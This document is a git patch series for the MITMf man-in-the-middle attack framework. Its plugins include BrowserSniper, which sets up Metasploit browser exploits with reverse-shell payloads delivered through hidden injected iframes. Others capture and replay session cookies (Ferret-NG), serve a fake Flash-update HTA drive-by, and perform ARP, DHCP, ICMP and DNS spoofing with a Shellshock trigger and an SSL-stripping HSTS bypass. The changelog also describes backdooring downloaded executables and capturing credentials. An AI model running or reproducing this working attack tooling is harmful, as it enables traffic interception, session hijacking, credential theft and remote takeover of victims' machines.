-0,0 +1,179 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import string +import random +import threading +from time import sleep +from plugins.plugin import Plugin +from plugins.browserprofiler import BrowserProfiler + +class BrowserSniper(BrowserProfiler, Plugin): + name = "BrowserSniper" + optname = "browsersniper" + desc = "Performs drive-by attacks on clients with out-of-date browser plugins" + version = "0.4" + has_opts = False + + def initialize(self, options): + self.options = options + self.msfip = options.ip + self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit + + #Initialize the BrowserProfiler plugin + BrowserProfiler.initialize(self, options) + + from core.msfrpc import Msf + self.msf = Msf() + self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version)) + + t = threading.Thread(name='sniper', target=self.snipe) + t.setDaemon(True) + t.start() + + def _setupExploit(self, exploit, msfport): + + self.log.debug('Setting up {}'.format(exploit)) + rand_url = "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5)) + rand_port = random.randint(1000, 65535) + + #generate the command string to send to the virtual console + cmd = "use exploit/{}\n".format(exploit) + cmd += "set SRVPORT {}\n".format(msfport) + cmd += "set URIPATH {}\n".format(rand_url) + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" + cmd += "set LHOST {}\n".format(self.msfip) + cmd += "set LPORT {}\n".format(rand_port) + cmd += "set ExitOnSession False\n" + cmd += "exploit -j\n" + + self.msf.sendcommand(cmd) + + return rand_url + + def _compat_system(self, os_config, brw_config, os, browser): + + if (os_config == 'any') and (brw_config == 'any'): + return True + + if (os_config == 'any') and (brw_config in browser): + return True + + if (os_config in os) and (brw_config == 'any'): + return True + + if (os_config in os) and (brw_config in browser): + return True + + return False + + def getExploits(self): + exploits = [] + vic_ip = self.output['ip'] + os = self.output['ua_name'] + browser = self.output['os_name'] + java = None + flash = None + + if self.output['java'] is not None: + java = self.output['java'] + + if self.output['flash'] is not None: + flash = self.output['flash'] + + self.log.info("{} => OS: {} | Browser: {} | Java: {} | Flash: {}".format(vic_ip, os, browser, java, flash)) + + for exploit, details in self.config['BrowserSniper']['exploits'].iteritems(): + + if self._compat_system(details['OS'].lower(), details['Browser'].lower(), os.lower(), browser.lower()): + + if details['Type'].lower() == 'browservuln': + exploits.append(exploit) + + elif details['Type'].lower() == 'pluginvuln': + + if details['Plugin'].lower() == 'java': + if (java is not None) and (java in details['PluginVersions']): + exploits.append(exploit) + + elif details['Plugin'].lower() == 'flash': + + if (flash is not None) and (flash in details['PluginVersions']): + exploits.append(exploit) + + self.log.info("{} => Compatible exploits: {}".format(vic_ip, exploits)) + return exploits + + def injectAndPoll(self, ip, url): #here we inject an iframe to trigger the exploit and check for resulting sessions + + #inject iframe + self.log.info("{} => Now injecting iframe to trigger exploits".format(ip)) + self.html_url = url + + #The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds + #Will also make sure the shell actually came from the box that we targeted + self.log.info('{} => Waiting for ze shellz, sit back and relax...'.format(ip)) + + poll_n = 1 + while poll_n != 30: + + if self.msf.sessionsfrompeer(ip): + self.log.info("{} => Client haz been 0wn3d! Enjoy!".format(ip)) + self.sploited_ips.append(ip) + self.black_ips = self.sploited_ips #Add to inject plugin blacklist since box has been popped + self.html_url = None + return + + poll_n += 1 + sleep(2) + + self.log.info("{} => Session not established after 60 seconds".format(ip)) + self.html_url = None + + def snipe(self): + while True: + if self.output: + vic_ip = self.output['ip'] + + if vic_ip not in self.sploited_ips: + msfport = self.config['BrowserSniper']['msfport'] + exploits = self.getExploits() + + if not exploits: + self.log.info('{} => Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip)) + self.sploited_ips.append(vic_ip) + self.black_ips = self.sploited_ips + + elif exploits and (vic_ip not in self.sploited_ips): + self.log.info("{} => Client vulnerable to {} exploits".format(vic_ip, len(exploits))) + + for exploit in exploits: + + jobs = self.msf.findjobs(exploit) + if jobs: + self.log.info('{} => {} already started'.format(vic_ip, exploit)) + url = self.msf.jobinfo(jobs[0])['uripath'] #get the url assigned to the exploit + else: + url = self._setupExploit(exploit, msfport) + + iframe_url = 'http://{}:{}{}'.format(self.msfip, msfport, url) + self.injectAndPoll(vic_ip, iframe_url) + + sleep(1) diff --git a/plugins/ferretng.py b/plugins/ferretng.py index 8be8492..75df7be 100644 --- a/plugins/ferretng.py +++ b/plugins/ferretng.py @@ -26,75 +26,75 @@ from twisted.web import http from twisted.internet import reactor class FerretNG(Plugin): - name = "Ferret-NG" - optname = "ferretng" - desc = "Captures cookies and starts a proxy that will feed them to connected clients" - version = "0.1" - has_opts = True + name = "Ferret-NG" + optname = "ferretng" + desc = "Captures cookies and starts a proxy that will feed them to connected clients" + version = "0.1" + has_opts = True - def initialize(self, options): - self.options = options - self.ferret_port = options.ferret_port - self.cookie_file = None + def initialize(self, options): + self.options = options + self.ferret_port = options.ferret_port + self.cookie_file = None - from core.ferretng.FerretProxy import FerretProxy - from core.ferretng.URLMonitor import URLMonitor + from core.ferretng.FerretProxy import FerretProxy + from core.ferretng.URLMonitor import URLMonitor - URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] + URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] - from core.utils import shutdown - if options.cookie_file: - self.tree_info.append('Loading cookies from log file') - try: - with open(options.cookie_file, 'r') as cookie_file: - self.cookie_file = json.dumps(cookie_file.read()) - URLMonitor.getInstance().cookies = self.cookie_file - cookie_file.close() - except Exception as e: - shutdown("[-] Error loading cookie log file: {}".format(e)) + from core.utils import shutdown + if options.cookie_file: + self.tree_info.append('Loading cookies from log file') + try: + with open(options.cookie_file, 'r') as cookie_file: + self.cookie_file = json.dumps(cookie_file.read()) + URLMonitor.getInstance().cookies = self.cookie_file + cookie_file.close() + except Exception as e: + shutdown("[-] Error loading cookie log file: {}".format(e)) - self.tree_info.append("Listening on port {}".format(self.ferret_port)) + self.tree_info.append("Listening on port {}".format(self.ferret_port)) - def on_config_change(self): - self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client'])) - URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] + def on_config_change(self): + self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client'])) + URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] - def request(self, request): - if 'cookie' in request.headers: - host = request.headers['host'] - cookie = request.headers['cookie'] - client = request.client.getClientIP() + def request(self, request): + if 'cookie' in request.headers: + host = request.headers['host'] + cookie = request.headers['cookie'] + client = request.client.getClientIP() - if client not in URLMonitor.getInstance().cookies: - URLMonitor.getInstance().cookies[client] = [] + if client not in URLMonitor.getInstance().cookies: + URLMonitor.getInstance().cookies[client] = [] - for entry in URLMonitor.getInstance().cookies[client]: - if host == entry['host']: - self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo) - entry['host'] = host - entry['cookie'] = cookie - return + for entry in URLMonitor.getInstance().cookies[client]: + if host == entry['host']: + self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo) + entry['host'] = host + entry['cookie'] = cookie + return - self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo) - URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) + self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo) + URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) - def reactor(self, StrippingProxy): - FerretFactory = http.HTTPFactory(timeout=10) - FerretFactory.protocol = FerretProxy - reactor.listenTCP(self.ferret_port, FerretFactory) + def reactor(self, StrippingProxy): + FerretFactory = http.HTTPFactory(timeout=10) + FerretFactory.protocol = FerretProxy + reactor.listenTCP(self.ferret_port, FerretFactory) - def options(self, options): - options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)') - options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file') + def options(self, options): + options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)') + options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file') - def on_shutdown(self): - if not URLMonitor.getInstance().cookies: - return + def on_shutdown(self): + if not URLMonitor.getInstance().cookies: + return - if self.cookie_file == URLMonitor.getInstance().cookies: - return - - self.log.info("Writing cookies to log file") - with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file: - cookie_file.write(str(URLMonitor.getInstance().cookies)) - cookie_file.close() + if self.cookie_file == URLMonitor.getInstance().cookies: + return + + self.log.info("Writing cookies to log file") + with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file: + cookie_file.write(str(URLMonitor.getInstance().cookies)) + cookie_file.close() diff --git a/plugins/filepwn.py b/plugins/filepwn.py index 49c71d0..52f46b2 100644 --- a/plugins/filepwn.py +++ b/plugins/filepwn.py @@ -111,21 +111,17 @@ class FilePwn(Plugin): #NOT USED NOW self.supportedBins = ('MZ', '7f454c46'.decode('hex')) - + #FilePwn options - self.userConfig = self.config['FilePwn'] - self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] - self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] - self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64'] - self.WindowsType = self.userConfig['targets']['ALL']['WindowsType'] - self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86'] - self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64'] - self.LinuxType = self.userConfig['targets']['ALL']['LinuxType'] - self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86'] - self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64'] - self.FatPriority = self.userConfig['targets']['ALL']['FatPriority'] - self.zipblacklist = self.userConfig['ZIP']['blacklist'] - self.tarblacklist = self.userConfig['TAR']['blacklist'] + self.userConfig = self.config['FilePwn'] + self.hostblacklist = self.userConfig['hosts']['blacklist'] + self.hostwhitelist = self.userConfig['hosts']['whitelist'] + self.keysblacklist = self.userConfig['keywords']['blacklist'] + self.keyswhitelist = self.userConfig['keywords']['whitelist'] + self.zipblacklist = self.userConfig['ZIP']['blacklist'] + self.tarblacklist = self.userConfig['TAR']['blacklist'] + self.parse_target_config(self.userConfig['targets']['ALL']) + self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version)) @@ -570,12 +566,40 @@ class FilePwn(Plugin): else: self.patched.put(tempZipFile) return + + def parse_target_config(self, targetConfig): + for key, value in targetConfig.iteritems(): + if hasattr(self, key) is False: + setattr(self, key, value) + self.log.debug("Settings Config {}: {}".format(key, value)) + + elif getattr(self, key, value) != value: + + if value == "None": + continue + + #test if string can be easily converted to dict + if ':' in str(value): + for tmpkey, tmpvalue in dict(value).iteritems(): + getattr(self, key, value)[tmpkey] = tmpvalue + self.log.debug("Updating Config {}: {}".format(tmpkey, tmpvalue)) + + else: + setattr(self, key, value) + self.log.debug("Updating Config {}: {}".format(key, value)) def response(self, response, request, data): content_header = response.headers['Content-Type'] client_ip = response.getClientIP() + for target in self.userConfig['targets'].keys(): + if target == 'ALL': + self.parse_target_config(self.userConfig['targets']['ALL']) + + if target in request.headers['host']: + self.parse_target_config(self.userConfig['targets'][target]) + if content_header in self.zipMimeTypes: if self.bytes_have_format(data, 'zip'): diff --git a/plugins/htadriveby.py b/plugins/htadriveby.py index 451093e..13385ca 100644 --- a/plugins/htadriveby.py +++ b/plugins/htadriveby.py @@ -21,36 +21,36 @@ import flask from plugins.plugin import Plugin from plugins.inject import Inject -from core.servers.http.HTTPserver import HTTPserver class HTADriveBy(Inject, Plugin): - name = 'HTA Drive-By' - desc = 'Performs HTA drive-by attacks on clients' - optname = 'hta' - ver = '0.1' + name = 'HTA Drive-By' + desc = 'Performs HTA drive-by attacks on clients' + optname = 'hta' + ver = '0.1' - def initialize(self, options): - self.bar_text = options.text - self.ip = options.ip - Inject.initialize(self, options) - self.html_payload = self.get_payload() + def initialize(self, options): + self.bar_text = options.text + self.ip = options.ip + Inject.initialize(self, options) + self.html_payload = self.get_payload() - server = HTTPserver().server + from core.servers.http.HTTPserver import HTTPserver + def hta_request(path): + if path == options.hta_app.split('/')[-1]: + with open(options.hta_app) as hta_file: + resp = flask.Response(hta_file.read()) - @server.route('/') - def client_request(hta_req): - if hta_req == "Flash.hta": - with open('./config/hta_driveby/Flash.hta') as hta_file: - resp = flask.Response(hta_file.read()) + resp.headers['Content-Type'] = "application/hta" + return resp - resp.headers['Content-Type'] = "application/hta" - return resp + HTTPserver().add_endpoint(hta_request) - def get_payload(self): - with open("./core/html/htadriveby.html", 'r') as file: - payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read()) - payload = re.sub("_IP_GOES_HERE_", self.ip, payload) - return payload + def get_payload(self): + with open("./core/html/htadriveby.html", 'r') as file: + payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read()) + payload = re.sub("_IP_GOES_HERE_", self.ip, payload) + return payload - def options(self, options): - options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar") + def options(self, options): + options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar") + options.add_argument('--hta-app', type=str, default='./config/hta_driveby/Flash.hta', help='Path to HTA application [defaults to config/hta_driveby/Flash.hta]') diff --git a/plugins/inject.py b/plugins/inject.py index 0ad7b07..327672c 100644 --- a/plugins/inject.py +++ b/plugins/inject.py @@ -65,7 +65,7 @@ class Inject(Plugin): if self.html_url: iframe = html.new_tag("iframe", src=self.html_url, frameborder=0, height=0, width=0) html.body.append(iframe) - self.clientlog.info("Injected HTML Iframe: {}".format(hn)) + self.clientlog.info("Injected HTML Iframe: {}".format(hn), extra=request.clientInfo) if self.html_payload: payload = BeautifulSoup(self.html_payload, "html.parser") diff --git a/plugins/replace.py b/plugins/replace.py index c12fdbe..5133d93 100644 --- a/plugins/replace.py +++ b/plugins/replace.py @@ -26,28 +26,28 @@ import re from plugins.plugin import Plugin class Replace(Plugin): - name = "Replace" - optname = "replace" - desc = "Replace arbitrary content in HTML content" - version = "0.2" + name = "Replace" + optname = "replace" + desc = "Replace arbitrary content in HTML content" + version = "0.2" - def initialize(self, options): - self.options = options + def initialize(self, options): + self.options = options - def response(self, response, request, data): - mime = response.headers['Content-Type'] - hn = response.getRequestHostname() + def response(self, response, request, data): + mime = response.headers['Content-Type'] + hn = response.getRequestHostname() - if "text/html" in mime: + if "text/html" in mime: - for rulename, regexs in self.config['Replace'].iteritems(): - for regex1,regex2 in regexs.iteritems(): - if re.search(regex1, data): - try: - data = re.sub(regex1, regex2, data) + for rulename, regexs in self.config['Replace'].iteritems(): + for regex1,regex2 in regexs.iteritems(): + if re.search(regex1, data): + try: + data = re.sub(regex1, regex2, data) - self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo) - except Exception: - self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename)) + self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo) + except Exception: + self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename)) - return {'response': response, 'request': request, 'data': data} + return {'response': response, 'request': request, 'data': data} diff --git a/plugins/responder.py b/plugins/responder.py index aa2a6f9..7b21f48 100644 --- a/plugins/responder.py +++ b/plugins/responder.py @@ -17,6 +17,7 @@ # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # +import flask from plugins.plugin import Plugin from twisted.internet import reactor @@ -53,13 +54,8 @@ class Responder(Plugin): if options.wpad: from core.servers.http.HTTPserver import HTTPserver - import flask - - server = HTTPserver().server - - @server.route('/') - def wpad(wpad_req): - if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')): + def wpad_request(path): + if (path == 'wpad.dat') or (path.endswith('.pac')): payload = self.config['Responder']['WPADScript'] resp = flask.Response(payload) @@ -70,6 +66,8 @@ class Responder(Plugin): return resp + HTTPserver().add_endpoint(wpad_request) + if self.config["Responder"]["MSSQL"].lower() == "on": from core.responder.mssql.MSSQLserver import MSSQLserver MSSQLserver().start(smbChal) diff --git a/plugins/screenshotter.py b/plugins/screenshotter.py index b7f9ccc..9a7f783 100644 --- a/plugins/screenshotter.py +++ b/plugins/screenshotter.py @@ -27,33 +27,33 @@ from plugins.plugin import Plugin from plugins.inject import Inject class ScreenShotter(Inject, Plugin): - name = 'ScreenShotter' - optname = 'screen' - desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' - ver = '0.1' + name = 'ScreenShotter' + optname = 'screen' + desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' + ver = '0.1' - def initialize(self, options): - Inject.initialize(self, options) - self.js_payload = self.get_payload() - self.interval = options.interval + def initialize(self, options): + Inject.initialize(self, options) + self.js_payload = self.get_payload() + self.interval = options.interval - def request(self, request): - if 'saveshot' in request.uri: - request.handle_post_output = True + def request(self, request): + if 'saveshot' in request.uri: + request.handle_post_output = True - client = request.client.getClientIP() - img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) - try: - with open('./logs/' + img_file, 'wb') as img: - img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) - img.close() + client = request.client.getClientIP() + img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) + try: + with open('./logs/' + img_file, 'wb') as img: + img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) + img.close() - self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo) - except Exception as e: - self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo) + self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo) + except Exception as e: + self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo) - def get_payload(self): - return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) + def get_payload(self): + return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) - def options(self, options): - options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") + def options(self, options): + options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") diff --git a/plugins/spoof.py b/plugins/spoof.py new file mode 100644 index 0000000..7f91e73 --- /dev/null +++ b/plugins/spoof.py @@ -0,0 +1,115 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin + +class Spoof(Plugin): + name = "Spoof" + optname = "spoof" + desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" + version = "0.6" + has_opts = True + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.manualiptables = options.manualiptables + self.protocol_instances = [] + + from core.utils import iptables, shutdown, set_ip_forwarding + #Makes scapy more verbose + debug = False + + if options.arp: + if not options.gateway: + shutdown("[Spoof] --arp argument requires --gateway") + + from core.poisoners.arp.ARPpoisoner import ARPpoisoner + arp = ARPpoisoner(options) + arp.debug = debug + self.tree_info.append('ARP spoofing enabled') + self.protocol_instances.append(arp) + + elif options.dhcp: + from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner + + if options.targets: + shutdown("[Spoof] --targets argument invalid when DCHP spoofing") + + dhcp = DHCPpoisoner(options, self.config['Spoof']['DHCP']) + dhcp.debug = debug + self.tree_info.append('DHCP spoofing enabled') + self.protocol_instances.append(dhcp) + + elif options.icmp: + from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner + + if not options.gateway: + shutdown("[Spoof] --icmp argument requires --gateway") + + if not options.targets: + shutdown("[Spoof] --icmp argument requires --targets") + + icmp = ICMPpoisoner(options) + icmp.debug = debug + self.tree_info.append('ICMP spoofing enabled') + self.protocol_instances.append(icmp) + + if options.dns: + from core.servers.dns.DNSchef import DNSChef + + self.tree_info.append('DNS spoofing enabled') + if not options.manualiptables: + if iptables().dns is False: + iptables().DNS(self.config['MITMf']['DNS']['port']) + + if not options.arp and not options.icmp and not options.dhcp and not options.dns: + shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns") + + set_ip_forwarding(1) + + if not options.manualiptables: + if iptables().http is False: + iptables().HTTP(options.listen_port) + + for protocol in self.protocol_instances: + protocol.start() + + def options(self, options): + group = options.add_mutually_exclusive_group(required=False) + group.add_argument('--arp', dest='arp', action='store_true', help='Redirect traffic using ARP spoofing') + group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects') + group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers') + options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries') + options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') + options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') + options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]') + options.add_argument('--ignore', dest='ignore', help='Specify host/s not to poison') + options.add_argument('--arpmode',type=str, dest='arpmode', default='rep', choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]') + + def on_shutdown(self): + from core.utils import iptables, set_ip_forwarding + + for protocol in self.protocol_instances: + if hasattr(protocol, 'stop'): + protocol.stop() + + if not self.manualiptables: + iptables().Flush() + + set_ip_forwarding(0) diff --git a/plugins/sslstrip+.py b/plugins/sslstrip+.py new file mode 100644 index 0000000..5a33d9c --- /dev/null +++ b/plugins/sslstrip+.py @@ -0,0 +1,49 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import sys +from plugins.plugin import Plugin + +class SSLstripPlus(Plugin): + name = 'SSLstrip+' + optname = 'hsts' + desc = 'Enables SSLstrip+ for partial HSTS bypass' + version = "0.4" + tree_info = ["SSLstrip+ by Leonardo Nve running"] + has_opts = False + + def initialize(self, options): + self.options = options + self.manualiptables = options.manualiptables + + from core.sslstrip.URLMonitor import URLMonitor + from core.servers.dns.DNSchef import DNSChef + from core.utils import iptables + + if not options.manualiptables: + if iptables().dns is False: + iptables().DNS(self.config['MITMf']['DNS']['port']) + + URLMonitor.getInstance().setHstsBypass() + DNSChef().setHstsBypass() + + def on_shutdown(self): + from core.utils import iptables + if not self.manualiptables: + if iptables().dns is True: + iptables().Flush() diff --git a/requirements.txt b/requirements.txt deleted file mode 100644 index d493548..0000000 --- a/requirements.txt +++ /dev/null @@ -1,17 +0,0 @@ -Twisted -requests -netaddr -scapy -dnspython -cryptography -pycrypto -msgpack-python -configobj -mitmflib -Pillow -pefile -ipy -pyopenssl -service_identity -capstone -pypcap diff --git a/tools/cve-details-parser.py b/tools/cve-details-parser.py new file mode 100755 index 0000000..db454b3 --- /dev/null +++ b/tools/cve-details-parser.py @@ -0,0 +1,32 @@ +#! /usr/bin/env python2 + +import requests +import lxml.html +import sys + +r = requests.get(sys.argv[1]) +tree = lxml.html.fromstring(r.text) + +try: + + vulntable = tree.xpath('//table[@id="vulnprodstable"]/*') + list_len = len(vulntable) + + tuple_list = [] + + for i in vulntable[2:list_len]: + java_v = (i.getchildren()[4].text.strip(), i.getchildren()[5].text.strip()[6:].strip()) + tuple_list.append(java_v) + +except IndexError: + pass + +string_list = [] +for v in sorted(set(tuple_list)): + version, update = v + if update: + string_list.append("{}.{}".format(version, update)) + else: + string_list.append(version) + +print ', '.join(string_list) \ No newline at end of file diff --git a/update.sh b/update.sh deleted file mode 100755 index 4781f30..0000000 --- a/update.sh +++ /dev/null @@ -1,11 +0,0 @@ -#!/usr/bin/env bash -if [[ $EUID -ne 0 ]]; then - echo "You must root" 2>&1 - exit 1 -fi - -echo 'Updating MITMf' -git pull -echo 'Updating the-backdoor-factory' -cd libs/bdfactory/ -git pull origin master From 41d9e42ca994fcbeb70d3e0326a97f48b96c201e Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 25 Jul 2015 03:29:33 +0200 Subject: [PATCH 213/323] added CHANGELOG.md, CONTRIBUTORS.md and modded README.md --- CHANGELOG.md | 35 +++++++++++++++++++ CONTRIBUTORS.md | 17 ++++++++++ README.md | 83 +++++++++++++--------------------------------- plugins/replace.py | 2 +- 4 files changed, 76 insertions(+), 61 deletions(-) create mode 100644 CHANGELOG.md create mode 100644 CONTRIBUTORS.md diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..23a4e91 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,35 @@ +#Changes before v0.9.8 + +- Added the SMBTrap plugin + +- Config file now updates on the fly! + +- SessionHijacker is replaced with Ferret-NG captures cookies and starts a proxy that will feed them to connected clients + +- JavaPwn plugin replaced with BrowserSniper now supports Java, Flash and browser exploits + +- Addition of the Screenshotter plugin, able to render screenshots of a client's browser at regular intervals + +- Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library + +- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' + +- Integrated [Net-Creds](https://github.com/DanMcInerney/net-creds) currently supported protocols are: FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos + +- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS and act as a rogue WPAD server + +- Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 + +- Spoof plugin can now exploit the 'ShellShock' bug when DHCP spoofing + +- Spoof plugin now supports ICMP, ARP and DHCP spoofing + +- Usage of third party tools has been completely removed (e.g. Ettercap) + +- FilePwn plugin re-written to backdoor executables zip and tar files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy) + +- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploit's RPC server + +- Added [beefapi.py](https://github.com/byt3bl33d3r/beefapi) for interfacing with BeEF's RESTfulAPI + +- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here: http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) \ No newline at end of file diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md new file mode 100644 index 0000000..9e2e76e --- /dev/null +++ b/CONTRIBUTORS.md @@ -0,0 +1,17 @@ +#Intentional contributors (In no particular order) + +- @rthijssen +- @ivangr0zni (Twitter) +- @xtr4nge +- @DrDinosaur +- @secretsquirrel +- @binkybear +- @0x27 +- @mmetince +- @niallmerrigan + +#Unintentional contributors and/or projects that I stole code from + +- Metasploit Framework's os.js and Javascript Keylogger module +- The Backdoor Factory and BDFProxy +- ARPWatch module from the Subterfuge Framework \ No newline at end of file diff --git a/README.md b/README.md index ea81b85..6cbf676 100644 --- a/README.md +++ b/README.md @@ -6,71 +6,33 @@ Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.i This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. -Twitter: @byt3bl33d3r -IRC on Freenode: #MITMf -Email: byt3bl33d3r@gmail.com +Contact me at: +- Twitter: @byt3bl33d3r +- IRC on Freenode: #MITMf +- 